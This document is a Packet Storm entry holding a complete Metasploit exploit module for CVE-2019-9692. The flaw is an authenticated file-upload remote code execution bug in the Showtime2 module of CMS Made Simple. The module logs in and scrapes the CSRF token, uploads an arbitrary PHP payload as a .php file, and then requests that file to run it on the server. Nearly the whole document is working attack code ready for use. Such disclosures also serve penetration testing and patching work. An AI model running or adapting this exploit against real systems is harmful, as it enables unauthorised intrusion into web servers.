CMS Made Simple (CMSMS) Showtime2 File Upload Remote Command Execution

2019-03-27T00:00:00
ID PACKETSTORM:152269
Type packetstorm
Reporter Daniele Scanu
Modified 2019-03-27T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",  
'Description' => %q(  
This module exploits a File Upload vulnerability that lead in a RCE in  
Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated  
user with "Use Showtime2" privilege could exploit the vulnerability.  
  
The vulnerability exists in the Showtime2 module, where the class  
"class.showtime2_image.php" does not ensure that a watermark file  
has a standard image file extension (GIF, JPG, JPEG, or PNG).  
  
Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,  
3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniele Scanu', # Discovery & PoC  
'Fabio Cogno' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2019-9692'],  
['CWE', '434'],  
['EDB', '46546'],  
['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],  
['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']  
],  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Privileged' => false,  
'DisclosureDate' => "Mar 11 2019",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),  
OptString.new('USERNAME', [true, "Username to authenticate with", '']),  
OptString.new('PASSWORD', [false, "Password to authenticate with", ''])  
]  
)  
end  
  
def do_login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),  
'vars_post' => {  
'username' => datastore['username'],  
'password' => datastore['password'],  
'loginsubmit' => 'Submit'  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
  
if res.code == 302  
@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s  
@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s  
@cookies = res.get_cookies  
return  
end  
  
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')  
end  
  
def upload(fname, fcontent)  
# construct POST data  
data = Rex::MIME::Message.new  
data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")  
data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")  
data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")  
data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s,  
'headers' => {  
'Cookie' => @cookies  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, 'Connection failed')  
end  
  
if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)  
return  
end  
  
print_warning('No confidence in PHP payload success or failure')  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')  
)  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
if res.code == 200  
module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)  
if module_version < Gem::Version.new('3.6.3')  
# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.  
vprint_status("Showtime2 version: #{module_version}")  
return Exploit::CheckCode::Appears  
end  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
unless Exploit::CheckCode::Appears == check  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')  
end  
  
@csrf_name = nil  
@csrf_value = nil  
@cookies = nil  
  
do_login  
  
# Upload PHP payload  
fname = "#{rand_text_alphanumeric(3..9)}.php"  
fcontent = "<?php #{payload.encode} ?>"  
print_status('Uploading PHP payload.')  
upload(fname, fcontent)  
  
# Register uploaded PHP payload file for cleanup  
register_files_for_cleanup('./' + fname)  
  
# Retrieve and execute PHP payload  
print_status("Making request for '/#{fname}' to execute payload.")  
send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)  
},  
15  
)  
end  
end  
`